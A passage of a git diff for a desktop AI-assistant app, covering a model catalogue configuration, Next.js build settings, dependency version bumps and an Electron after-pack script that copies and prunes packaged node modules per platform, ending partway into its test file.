"choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + } + ] + }, + "fable-5": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium", + "isDefault": true + }, + { + "id": "high", + "label": "High" + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + } + ] + }, + "opus-5": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + }, + { + "type": "boolean", + "id": "fastMode", + "label": "Fast mode", + "role": "fast", + "defaultValue": false + } + ] + }, + "sonnet-5": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + } + ] + }, + "opus-4-8": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + }, + { + "type": "boolean", + "id": "fastMode", + "label": "Fast mode", + "role": "fast", + "defaultValue": false + } + ] + }, + "opus-4-7": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High" + }, + { + "id": "xhigh", + "label": "Extra high", + "isDefault": true + }, + { + "id": "max", + "label": "Max" + } + ] + } + ] + }, + "opus-4-6": { + "contextWindow": 200000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "max", + "label": "Max" + } + ] + }, + { + "type": "select", + "id": "contextWindow", + "label": "Context window", + "role": "context", + "choices": [ + { + "id": "200k", + "label": "200K", + "isDefault": true + }, + { + "id": "1m", + "label": "1M" + } + ] + } + ] + }, + "opus-4-5": { + "contextWindow": 200000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + } + ] + } + ] + }, + "sonnet-4-6": { + "contextWindow": 200000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium" + }, + { + "id": "high", + "label": "High", + "isDefault": true + }, + { + "id": "max", + "label": "Max" + } + ] + }, + { + "type": "select", + "id": "contextWindow", + "label": "Context window", + "role": "context", + "choices": [ + { + "id": "200k", + "label": "200K", + "isDefault": true + }, + { + "id": "1m", + "label": "1M" + } + ] + } + ] + }, + "haiku-4-5": { + "contextWindow": 200000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "boolean", + "id": "thinking", + "label": "Extended thinking", + "role": "thinking", + "defaultValue": false + } + ] + } + }, + "models": [ + { + "id": "claude-opus-5-5", + "name": "Claude Opus 5.5", + "status": "current", + "profile": "opus-5-5", + "badge": "new", + "aliases": ["opus", "opus-5.5", "claude-opus-5.5"], + "minRuntimeVersion": "2.1.280", + "description": "Most capable Claude model for complex, long-running work." + }, + { + "id": "claude-sonnet-5-5", + "name": "Claude Sonnet 5.5", + "status": "current", + "profile": "sonnet-5-5", + "badge": "new", + "aliases": ["sonnet", "sonnet-5.5", "claude-sonnet-5.5"], + "minRuntimeVersion": "2.1.284", + "description": "Fast, capable Claude model for everyday coding." + }, + { + "id": "claude-fable-5-1", + "name": "Claude Fable 5.1", + "status": "current", + "profile": "fable-5", + "aliases": ["fable", "fable-5.1", "claude-fable-5.1"], + "minRuntimeVersion": "2.1.257", + "description": "Claude Code's default model for coding tasks." + }, + { + "id": "claude-haiku-4-5", + "name": "Claude Haiku 4.5", + "status": "current", + "profile": "haiku-4-5", + "aliases": [ + "haiku", + "haiku-4.5", + "claude-haiku-4.5", + "claude-haiku-4-5-20251001" + ], + "description": "Fastest Claude model for quick, lightweight tasks." + }, + { + "id": "claude-opus-5", + "name": "Claude Opus 5", + "status": "current", + "profile": "opus-5", + "aliases": ["opus-5", "claude-opus-5.0", "claude-opus-5-0"], + "minRuntimeVersion": "2.1.219" + }, + { + "id": "claude-sonnet-5", + "name": "Claude Sonnet 5", + "status": "current", + "profile": "sonnet-5", + "aliases": ["sonnet-5", "claude-sonnet-5.0", "claude-sonnet-5-0"] + }, + { + "id": "claude-fable-5", + "name": "Claude Fable 5", + "status": "legacy", + "profile": "fable-5", + "minRuntimeVersion": "2.1.169" + }, + { + "id": "claude-opus-4-8", + "name": "Claude Opus 4.8", + "status": "legacy", + "profile": "opus-4-8", + "aliases": ["opus-4.8", "claude-opus-4.8"], + "minRuntimeVersion": "2.1.154" + }, + { + "id": "claude-opus-4-7", + "name": "Claude Opus 4.7", + "status": "legacy", + "profile": "opus-4-7", + "aliases": ["opus-4.7", "claude-opus-4.7"], + "minRuntimeVersion": "2.1.111" + }, + { + "id": "claude-opus-4-6", + "name": "Claude Opus 4.6", + "status": "legacy", + "profile": "opus-4-6", + "aliases": ["opus-4.6", "claude-opus-4.6", "claude-opus-4-6-20251117"] + }, + { + "id": "claude-opus-4-5", + "name": "Claude Opus 4.5", + "status": "legacy", + "profile": "opus-4-5" + }, + { + "id": "claude-sonnet-4-6", + "name": "Claude Sonnet 4.6", + "status": "legacy", + "profile": "sonnet-4-6", + "aliases": [ + "sonnet-4.6", + "claude-sonnet-4.6", + "claude-sonnet-4-6-20251117" + ] + } + ] + }, + "codex": { + "mode": "overlay", + "defaults": { + "chat": "gpt-6-astra", + "customModelProfile": "gpt-6" + }, + "profiles": { + "gpt-6": { + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium", + "isDefault": true + }, + { + "id": "high", + "label": "High" + }, + { + "id": "xhigh", + "label": "Extra high" + } + ] + } + ] + } + }, + "models": [ + { + "id": "gpt-6-astra", + "name": "GPT-6 Astra", + "status": "current", + "profile": "gpt-6", + "description": "Most capable Codex model for complex agentic coding." + }, + { + "id": "gpt-6.1-sol", + "name": "GPT-6.1 Sol", + "status": "current", + "profile": "gpt-6", + "description": "Near-Astra coding quality at a lower cost." + }, + { + "id": "gpt-6-luna", + "name": "GPT-6 Luna", + "status": "current", + "profile": "gpt-6", + "description": "Fast, low-cost model for lighter coding tasks." + }, + { + "id": "gpt-5-codex", + "name": "GPT-5 Codex", + "status": "legacy", + "profile": "gpt-6" + } + ] + }, + "copilot": { + "mode": "overlay", + "defaults": { + "customModelProfile": "default" + }, + "profiles": { + "default": { + "inputModalities": ["text"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium", + "isDefault": true + }, + { + "id": "high", + "label": "High" + } + ] + } + ] + } + }, + "models": [] + }, + "cursor": { + "mode": "overlay", + "defaults": { + "customModelProfile": "default" + }, + "profiles": { + "default": { + "inputModalities": ["text"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium", + "isDefault": true + }, + { + "id": "high", + "label": "High" + } + ] + } + ] + } + }, + "models": [] + }, + "opencode": { + "mode": "overlay", + "profiles": {}, + "models": [] + }, + "grok": { + "mode": "overlay", + "profiles": {}, + "models": [] + }, + "antigravity": { + "mode": "catalog", + "defaults": { + "chat": "gemini-3.8-flash-high" + }, + "profiles": {}, + "models": [ + { + "id": "gemini-3.8-flash-high", + "name": "Gemini 3.8 Flash (High)", + "status": "current", + "inputModalities": ["text", "image"] + }, + { + "id": "gemini-3.8-flash-medium", + "name": "Gemini 3.8 Flash (Medium)", + "status": "current", + "inputModalities": ["text", "image"] + }, + { + "id": "gemini-3.8-flash-low", + "name": "Gemini 3.8 Flash (Low)", + "status": "current", + "inputModalities": ["text", "image"] + } + ] + }, + "pi": { + "mode": "overlay", + "profiles": {}, + "models": [] + }, + "acp": { + "mode": "overlay", + "profiles": {}, + "models": [] + } + } +} diff --git a/next.config.js b/next.config.js index 2a47eee2..6adf5fe4 100644 --- a/next.config.js +++ b/next.config.js @@ -1,6 +1,10 @@ import path from "node:path"; import { fileURLToPath } from "node:url"; +import { EXCLUDED_SERVER_PACKAGE_GLOBS } from "./scripts/desktop/excluded-server-packages.mjs"; +import { SERVER_EXTERNAL_PACKAGES } from "./scripts/desktop/server-external-packages.mjs"; +import { UNTRACED_SERVER_PACKAGES } from "./scripts/desktop/untraced-server-packages.mjs"; + /** * Run `build` or `dev` with `SKIP_ENV_VALIDATION` to skip env validation. This is especially useful * for Docker builds and CI where the home directory may not be accessible. @@ -11,14 +15,39 @@ if (!process.env.SKIP_ENV_VALIDATION) { const projectRoot = path.dirname(fileURLToPath(import.meta.url)); +/** + * Next clones the body of every request the /api proxy (src/proxy.ts) sees + * and hands the route handler only the first `proxyClientMaxBodySize` bytes + * (10 MB by default), silently cut off. The proxy only reads headers, and + * chat requests inline attachments as data URLs, so the cap is lifted: route + * handlers own their body limits, as they did before the proxy existed. + */ +const PROXY_CLIENT_MAX_BODY_SIZE = Number.MAX_SAFE_INTEGER; + /** @type {import("next").NextConfig} */ const config = { - eslint: { - ignoreDuringBuilds: true, + // Next 16 `next dev` writes a managed AGENTS.md into the repo when it detects + // a coding agent; keep dev runs from dirtying the working tree. + agentRules: false, + // Loopback desktop app: gzip buys nothing and Next's compression buffers + // streamed responses (SSE chat resumes, tRPC subscriptions). + compress: false, + experimental: { + proxyClientMaxBodySize: PROXY_CLIENT_MAX_BODY_SIZE, }, output: "standalone", outputFileTracingRoot: projectRoot, - serverExternalPackages: ["better-sqlite3", "sqlite-vec"], + outputFileTracingIncludes: { + "/**": UNTRACED_SERVER_PACKAGES.map( + (packageName) => `./node_modules/${packageName}/**/*`, + ), + }, + outputFileTracingExcludes: { + "/**": EXCLUDED_SERVER_PACKAGE_GLOBS.map( + (packageGlob) => `./node_modules/${packageGlob}/**/*`, + ), + }, + serverExternalPackages: SERVER_EXTERNAL_PACKAGES, turbopack: { root: projectRoot, }, diff --git a/package.json b/package.json index 4f321d6b..c7defb18 100644 --- a/package.json +++ b/package.json @@ -6,10 +6,10 @@ "description": "Sentinel local-first desktop app", "author": "Sentinel", "type": "module", - "packageManager": "bun@1.3.6", + "packageManager": "bun@1.4.2", "engines": { - "bun": "1.3.6", - "node": "21.7.3" + "bun": ">=1.4.2", + "node": ">=24.14.0 <25" }, "main": "desktop/main/index.mjs", "scripts": { @@ -28,14 +28,15 @@ "build:desktop:mac:x64": "bun run build:desktop:prepare && node ./scripts/desktop/package.mjs --platform mac --target dmg,zip --arch x64", "build:desktop:prepare": "bun run ./scripts/desktop/clean.mjs && bun run ./scripts/desktop/normalize-node-module-manifests.mjs && bun run build && bun run ./scripts/desktop/prepare-production.mjs && bun run ./scripts/desktop/prune-server.mjs && bun run ./scripts/desktop/prepare-shell.mjs", "build:desktop:windows": "bun run build:desktop:prepare && node ./scripts/desktop/package.mjs --platform win --target nsis", + "electron:install": "node ./scripts/desktop/electron-binary.mjs", "audit:desktop-bundle": "node ./scripts/desktop/audit-bundle.mjs", - "dev:desktop": "node ./scripts/rebuild-node-native.mjs && concurrently -k \"next dev --turbo --port 3232\" \"bun run ./scripts/desktop/dev-launch.mjs\"", + "dev:desktop": "node ./scripts/rebuild-node-native.mjs && concurrently -k \"next dev --port 3232\" \"bun run ./scripts/desktop/dev-launch.mjs\"", "format": "prettier --write .", "format:check": "prettier --check .", "db:push": "node -e \"require('esbuild-register'); require('./scripts/db/push.ts')\"", "db:generate": "bun x drizzle-kit generate", "db:studio": "bun x drizzle-kit studio", - "dev": "node ./scripts/rebuild-node-native.mjs && next dev --turbo", + "dev": "node ./scripts/rebuild-node-native.mjs && next dev", "preview": "node ./scripts/rebuild-node-native.mjs && node ./scripts/next-build.mjs && next start", "release:version:check": "node ./scripts/release/validate-release-version.mjs", "start": "node ./scripts/rebuild-node-native.mjs && next start", @@ -43,123 +44,137 @@ "typecheck": "node --max-old-space-size=4096 ./node_modules/typescript/bin/tsc --noEmit" }, "dependencies": { - "@ai-sdk/amazon-bedrock": "^4.0.83", - "@ai-sdk/anthropic": "^3.0.58", - "@ai-sdk/azure": "^3.0.49", - "@ai-sdk/black-forest-labs": "^1.0.28", - "@ai-sdk/bytedance": "^1.0.10", - "@ai-sdk/cohere": "^3.0.27", - "@ai-sdk/deepseek": "^2.0.29", - "@ai-sdk/fal": "^2.0.29", - "@ai-sdk/google": "^3.0.43", - "@ai-sdk/google-vertex": "^4.0.80", - "@ai-sdk/groq": "^3.0.31", - "@ai-sdk/klingai": "^3.0.12", - "@ai-sdk/mcp": "^1.0.25", - "@ai-sdk/mistral": "^3.0.27", - "@ai-sdk/moonshotai": "^2.0.12", - "@ai-sdk/openai": "^3.0.41", - "@ai-sdk/provider": "^3.0.8", - "@ai-sdk/react": "^3.0.118", - "@ai-sdk/replicate": "^2.0.28", - "@ai-sdk/xai": "^3.0.74", - "@anthropic-ai/claude-agent-sdk": "^0.2.84", + "@agentclientprotocol/sdk": "^1.7.0", + "@ai-sdk/amazon-bedrock": "^5.0.108", + "@ai-sdk/anthropic": "^4.0.74", + "@ai-sdk/azure": "^4.0.94", + "@ai-sdk/black-forest-labs": "^2.0.57", + "@ai-sdk/bytedance": "^2.0.59", + "@ai-sdk/cohere": "^4.0.57", + "@ai-sdk/deepseek": "^3.0.61", + "@ai-sdk/fal": "^3.0.57", + "@ai-sdk/google": "^4.0.90", + "@ai-sdk/google-vertex": "^5.0.104", + "@ai-sdk/groq": "^4.0.57", + "@ai-sdk/klingai": "^4.0.58", + "@ai-sdk/mcp": "^2.0.69", + "@ai-sdk/mistral": "^4.0.59", + "@ai-sdk/moonshotai": "^3.0.65", + "@ai-sdk/openai": "^4.0.86", + "@ai-sdk/provider": "^4.0.24", + "@ai-sdk/provider-utils": "^5.0.56", + "@ai-sdk/react": "^4.0.133", + "@ai-sdk/replicate": "^3.0.57", + "@ai-sdk/xai": "^5.0.17", + "@anthropic-ai/claude-agent-sdk": "^0.3.292", + "@anthropic-ai/sdk": "^0.131.0", "@dnd-kit/core": "^6.3.1", "@dnd-kit/sortable": "^10.0.0", "@dnd-kit/utilities": "^3.2.2", - "@github/copilot": "^1.0.24", - "@github/copilot-sdk": "^0.2.2", - "@heroui/react": "^3.0.1", - "@heroui/styles": "^3.0.1", - "@hookform/resolvers": "^5.2.2", - "@hugeicons/core-free-icons": "^4.0.0", - "@hugeicons/react": "^1.1.5", + "@github/copilot-sdk": "^1.0.16", + "@heroui/react": "^3.2.6", + "@heroui/styles": "^3.2.6", + "@hookform/resolvers": "^5.9.1", + "@hugeicons/core-free-icons": "^4.3.5", + "@hugeicons/react": "^1.1.10", "@iconify/react": "^6.0.2", - "@linear/sdk": "^77.0.0", - "@notionhq/client": "^5.13.0", + "@internationalized/date": "^3.12.4", + "@linear/sdk": "^97.0.0", + "@modelcontextprotocol/sdk": "^1.32.1", + "@notionhq/client": "^5.27.0", "@octokit/rest": "^22.0.1", - "@opencode-ai/sdk": "^1.3.15", - "@openrouter/ai-sdk-provider": "^2.3.3", + "@opencode-ai/sdk": "^1.18.35", + "@openrouter/ai-sdk-provider": "^3.1.0", "@paralleldrive/cuid2": "^3.3.0", - "@pierre/diffs": "^1.1.7", - "@slack/web-api": "^7.15.0", - "@t3-oss/env-nextjs": "^0.12.0", - "@tanstack/react-query": "^5.69.0", - "@tiptap/extension-placeholder": "^3.20.1", - "@tiptap/pm": "^3.20.1", - "@tiptap/react": "^3.20.1", - "@tiptap/starter-kit": "^3.20.1", - "@tiptap/suggestion": "^3.20.1", - "@trpc/client": "^11.0.0", - "@trpc/react-query": "^11.0.0", - "@trpc/server": "^11.0.0", + "@pierre/diffs": "^1.5.2", + "@react-aria/ssr": "^3.10.1", + "@react-aria/utils": "^3.34.1", + "@slack/web-api": "^8.2.0", + "@t3-oss/env-nextjs": "^0.13.11", + "@tanstack/react-query": "^5.104.1", + "@tiptap/extension-placeholder": "^3.31.4", + "@tiptap/pm": "^3.31.4", + "@tiptap/react": "^3.31.4", + "@tiptap/starter-kit": "^3.31.4", + "@tiptap/suggestion": "^3.31.4", + "@trpc/client": "^11.19.0", + "@trpc/react-query": "^11.19.0", + "@trpc/server": "^11.19.0", "@types/turndown": "^5.0.6", "@xterm/addon-fit": "^0.11.0", "@xterm/xterm": "^6.0.0", - "ai": "^6.0.116", - "better-sqlite3": "12.6.2", - "border-beam": "^1.0.1", + "ai": "^7.0.130", + "better-sqlite3": "13.0.3", + "border-beam": "^1.4.1", "cmdk": "^1.1.1", "cronbake": "^0.4.0", - "date-fns": "^4.1.0", - "drizzle-orm": "^0.45.1", - "electron-updater": "^6.8.3", - "googleapis": "^171.4.0", - "highlight.js": "^11.11.1", - "lucide-react": "^1.8.0", - "mammoth": "^1.12.0", - "mongodb": "^7.1.0", - "motion": "^12.35.0", - "mysql2": "^3.20.0", - "next": "^15.2.3", + "date-fns": "^4.4.0", + "drizzle-orm": "^0.45.3", + "electron-updater": "^6.8.9", + "googleapis": "^183.0.0", + "lucide-react": "^1.52.0", + "mammoth": "^1.13.0", + "mongodb": "^7.7.0", + "motion": "^14.0.0", + "mysql2": "^3.24.5", + "next": "^16.4.0", "node-pptx-parser": "^1.0.1", "node-pty": "^1.1.0", "node-xlsx": "^0.24.0", - "officeparser": "^6.0.7", - "pg": "^8.20.0", + "officeparser": "^6.1.1", + "pg": "^8.23.1", "ppt": "^0.0.2", - "react": "^19.0.0", - "react-dom": "^19.0.0", - "react-hook-form": "^7.71.2", + "react": "^19.3.0", + "react-aria": "^3.52.1", + "react-aria-components": "^1.21.1", + "react-dom": "^19.3.0", + "react-hook-form": "^7.89.0", "react-markdown": "^10.1.0", "react-video-kit": "^3.0.0", - "rehype-highlight": "^7.0.2", "remark-gfm": "^4.0.1", - "resumable-stream": "^2.2.10", + "resumable-stream": "^2.2.13", "rtf2text": "^1.0.1", + "semver": "^7.8.5", "server-only": "^0.0.1", - "shiki": "^3.23.0", + "shiki": "^4.5.0", "sileo": "^0.1.5", - "sqlite-vec": "0.1.7-alpha.2", - "superjson": "^2.2.1", - "tailwind-variants": "^3.2.2", - "turndown": "^7.2.2", + "sqlite-vec": "^0.1.9", + "superjson": "^2.2.6", + "turndown": "^7.2.4", + "undici": "^7.30.0", "word-extractor": "^1.0.4", - "zod": "^3.24.2" + "zod": "^4.6.5" }, "devDependencies": { - "@commitlint/cli": "^20.5.0", - "@commitlint/config-conventional": "^20.5.0", - "@tailwindcss/postcss": "^4.0.15", - "@trivago/prettier-plugin-sort-imports": "^6.0.2", - "@types/better-sqlite3": "^7.6.13", - "@types/node": "^20.14.10", - "@types/pg": "^8.18.0", - "@types/react": "^19.0.0", - "@types/react-dom": "^19.0.0", - "concurrently": "^9.2.1", - "drizzle-kit": "^0.31.9", - "electron": "40.8.0", - "electron-builder": "26.8.1", - "lefthook": "^2.1.4", - "lint-staged": "^16.4.0", - "postcss": "^8.5.3", - "prettier": "^3.8.1", - "prettier-plugin-tailwindcss": "^0.7.2", - "tailwindcss": "^4.0.15", - "typescript": "^5.8.2", - "wait-on": "^9.0.4" + "@commitlint/cli": "^21.2.3", + "@commitlint/config-conventional": "^21.2.3", + "@tailwindcss/postcss": "^4.3.3", + "@types/better-sqlite3": "^9.6.0", + "@types/node": "^24.12.4", + "@types/pg": "^8.23.1", + "@types/react": "^19.3.0", + "@types/react-dom": "^19.3.0", + "@types/semver": "^7.8.0", + "concurrently": "^10.0.5", + "drizzle-kit": "^0.31.11", + "electron": "44.6.0", + "electron-builder": "26.17.0", + "lefthook": "^2.1.17", + "lint-staged": "^17.6.0", + "node-gyp": "^12.4.0", + "postcss": "^8.5.29", + "prettier": "^3.9.9", + "tailwindcss": "^4.3.3", + "typescript": "~6.0.3", + "wait-on": "^9.5.1" }, + "trustedDependencies": [ + "electron-winstaller", + "esbuild", + "lefthook", + "node-pty", + "sharp" + ], "build": { "appId": "app.sentinel.desktop", "afterPack": "scripts/desktop/after-pack.cjs", diff --git a/scripts/desktop/after-pack.cjs b/scripts/desktop/after-pack.cjs index 44884c33..ba506293 100644 --- a/scripts/desktop/after-pack.cjs +++ b/scripts/desktop/after-pack.cjs @@ -1,10 +1,17 @@ const fs = require("node:fs/promises"); const path = require("node:path"); const { + getCopilotRuntimePackageName, getDependencyNamesForPackage, getRequiredServerRuntimePackages, + isPrunedServerPackage, + normalizeTargetArch, } = require("./copilot-runtime-packaging.cjs"); +/** + * @typedef {{ arch: number | string; platform: string }} PackageTarget + */ + /** * @param {string} targetPath */ @@ -17,6 +24,42 @@ async function pathExists(targetPath) { } } +/** + * Node-style lookup: the dependent's own node_modules first, then each parent + * node_modules up to the project root. bun nests a dependency next to its + * dependent when the hoisted copy does not satisfy its range (the Copilot SDK + * pins zod, for example). + * + * @param {string} projectDir + * @param {string} dependentPath + * @param {string} dependencyName + */ +async function resolveDependencyPath( + projectDir, + dependentPath, + dependencyName, +) { + const projectRoot = path.resolve(projectDir); + let currentPath = path.resolve(dependentPath); + + while (true) { + const candidatePath = path.join( + currentPath, + "node_modules", + ...dependencyName.split("/"), + ); + if (await pathExists(path.join(candidatePath, "package.json"))) { + return candidatePath; + } + + const parentPath = path.dirname(currentPath); + if (currentPath === projectRoot || parentPath === currentPath) { + return null; + } + currentPath = parentPath; + } +} + /** * @param {string} projectDir * @param {string} packageName @@ -26,68 +69,124 @@ function resolveNodeModulePath(projectDir, packageName) { } /** + * @param {PackageTarget} target + */ +function isHostTarget(target) { + const platform = target.platform === "mas" ? "darwin" : target.platform; + return ( + platform === process.platform && + normalizeTargetArch(target.arch) === process.arch + ); +} + +/** + * Copies a top-level package and, recursively, its dependencies into + * `targetNodeModulesPath`. Dependencies nested under a copied package travel + * with it; only their own dependencies are walked. + * * @param {string} projectDir * @param {string} targetNodeModulesPath * @param {string} packageName * @param {Set} [copiedPackages] + * @param {{ target?: PackageTarget }} [options] */ async function copyPackageWithDependencies( projectDir, targetNodeModulesPath, packageName, copiedPackages = new Set(), + options = {}, ) { - if (copiedPackages.has(packageName)) { - return; - } + const target = options.target ?? { + arch: process.arch, + platform: process.platform, + }; + const topLevelNodeModulesPath = path.resolve(projectDir, "node_modules"); - copiedPackages.add(packageName); + /** + * @param {string} name + * @param {string} sourcePackagePath + */ + async function visit(name, sourcePackagePath) { + const visitKey = path.resolve(sourcePackagePath); + if (copiedPackages.has(visitKey)) { + return; + } + copiedPackages.add(visitKey); + + const sourcePackageJsonPath = path.join(sourcePackagePath, "package.json"); + if (!(await pathExists(sourcePackageJsonPath))) { + throw new Error( + `Expected packaged desktop dependency at ${sourcePackageJsonPath}.`, + ); + } - const sourcePackagePath = resolveNodeModulePath(projectDir, packageName); - const sourcePackageJsonPath = path.join(sourcePackagePath, "package.json"); + // Nested copies were already copied inside their dependent's directory. + if (visitKey === path.join(topLevelNodeModulesPath, ...name.split("/"))) { + const targetPackagePath = path.join( + targetNodeModulesPath, + ...name.split("/"), + ); - if (!(await pathExists(sourcePackageJsonPath))) { - throw new Error( - `Expected packaged desktop dependency at ${sourcePackageJsonPath}.`, + await fs.rm(targetPackagePath, { force: true, recursive: true }); + await fs.mkdir(path.dirname(targetPackagePath), { recursive: true }); + await fs.cp(sourcePackagePath, targetPackagePath, { recursive: true }); + } + + const packageJson = JSON.parse( + await fs.readFile(sourcePackageJsonPath, "utf8"), ); - } + const optionalDependencyNames = new Set( + Object.keys(packageJson.optionalDependencies ?? {}), + ); + const dependencyNames = getDependencyNamesForPackage({ + packageJson, + packageName: name, + target, + }); - const targetPackagePath = path.join( - targetNodeModulesPath, - ...packageName.split("/"), - ); + for (const dependencyName of dependencyNames) { + const dependencyPath = await resolveDependencyPath( + projectDir, + sourcePackagePath, + dependencyName, + ); - await fs.rm(targetPackagePath, { force: true, recursive: true }); - await fs.mkdir(path.dirname(targetPackagePath), { recursive: true }); - await fs.cp(sourcePackagePath, targetPackagePath, { recursive: true }); + if (!dependencyPath) { + if (!optionalDependencyNames.has(dependencyName)) { + throw new Error( + `Expected packaged desktop dependency at ${path.join(resolveNodeModulePath(projectDir, dependencyName), "package.json")}.`, + ); + } - const packageJson = JSON.parse( - await fs.readFile(sourcePackageJsonPath, "utf8"), - ); - const dependencyNames = getDependencyNamesForPackage({ - packageJson, - packageName, - }); + if (dependencyName === getCopilotRuntimePackageName(target)) { + const message = `${dependencyName} is not installed, so the packaged server cannot start the bundled Copilot runtime for ${target.platform}-${target.arch}.`; + if (isHostTarget(target)) { + throw new Error(`[desktop] ${message}`); + } + console.warn(`[desktop] ${message}`); + } + continue; + } - for (const dependencyName of dependencyNames) { - await copyPackageWithDependencies( - projectDir, - targetNodeModulesPath, - dependencyName, - copiedPackages, - ); + await visit(dependencyName, dependencyPath); + } } + + await visit(packageName, resolveNodeModulePath(projectDir, packageName)); } /** * @param {string} projectDir * @param {string} targetNodeModulesPath * @param {string[]} packageNames + * @param {{ target?: PackageTarget }} [options] */ async function copyPackagesWithDependencies( projectDir, targetNodeModulesPath, packageNames, + options = {}, ) { const copiedPackages = new Set(); @@ -97,10 +196,52 @@ async function copyPackagesWithDependencies( targetNodeModulesPath, packageName, copiedPackages, + options, ); } } +/** + * Removes packages the target never loads (other platforms' Copilot runtimes, + * koffi) from a packaged node_modules, including nested copies. + * + * @param {{ nodeModulesPath: string; target: PackageTarget }} options + */ +async function prunePackagedServerPackages({ nodeModulesPath, target }) { + if (!(await pathExists(nodeModulesPath))) { + return; + } + + const entries = await fs.readdir(nodeModulesPath, { withFileTypes: true }); + for (const entry of entries) { + if (!entry.isDirectory()) { + continue; + } + + const entryPath = path.join(nodeModulesPath, entry.name); + const packages = entry.name.startsWith("@") + ? (await fs.readdir(entryPath, { withFileTypes: true })) + .filter((scopedEntry) => scopedEntry.isDirectory()) + .map((scopedEntry) => ({ + name: `${entry.name}/${scopedEntry.name}`, + packagePath: path.join(entryPath, scopedEntry.name), + })) + : [{ name: entry.name, packagePath: entryPath }]; + + for (const { name, packagePath } of packages) { + if (isPrunedServerPackage(name, target)) { + await fs.rm(packagePath, { force: true, recursive: true }); + continue; + } + + await prunePackagedServerPackages({ + nodeModulesPath: path.join(packagePath, "node_modules"), + target, + }); + } + } +} + /** * @param {{ nodePtyPath: string; platform: string }} options */ @@ -224,13 +365,23 @@ async function afterPack(context) { ["electron-updater"], ); + const target = { + arch: context.arch, + platform: context.electronPlatformName, + }; await copyPackagesWithDependencies( context.packager.projectDir, targetServerNodeModulesPath, getRequiredServerRuntimePackages(), + { target }, ); + await prunePackagedServerPackages({ + nodeModulesPath: targetServerNodeModulesPath, + target, + }); } module.exports = afterPack; module.exports.copyPackageWithDependencies = copyPackageWithDependencies; module.exports.copyPackagesWithDependencies = copyPackagesWithDependencies; +module.exports.prunePackagedServerPackages = prunePackagedServerPackages; diff --git a/scripts/desktop/after-pack.test.ts b/scripts/desktop/after-pack.test.ts index 0ec3597a..e5d79980 100644 --- a/scripts/desktop/after-pack.test.ts +++ b/scripts/desktop/after-pack.test.ts @@ -1,17 +1,32 @@ -import { afterEach, describe, expect, it } from "bun:test"; -import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { afterEach, describe, expect, it, spyOn } from "bun:test"; +import { + mkdir, + mkdtemp, + readFile, + rm, + stat, + writeFile, +} from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { createRequire } from "node:module"; const require = createRequire(import.meta.url); -const { copyPackageWithDependencies } = require("./after-pack.cjs") as { - copyPackageWithDependencies: ( - projectDir: string, - targetNodeModulesPath: string, - packageName: string, - ) => Promise; -}; +type PackageTarget = { arch: number | string; platform: string }; +const { copyPackageWithDependencies, prunePackagedServerPackages } = + require("./after-pack.cjs") as { + copyPackageWithDependencies: ( + projectDir: string, + targetNodeModulesPath: string, + packageName: string, + copiedPackages?: Set, + options?: { target?: PackageTarget }, + ) => Promise; + prunePackagedServerPackages: (options: { + nodeModulesPath: string; + target: PackageTarget; + }) => Promise; + }; const tempRoots: string[] = []; @@ -47,80 +62,261 @@ afterEach(async () => { ); }); -describe("copyPackageWithDependencies", () 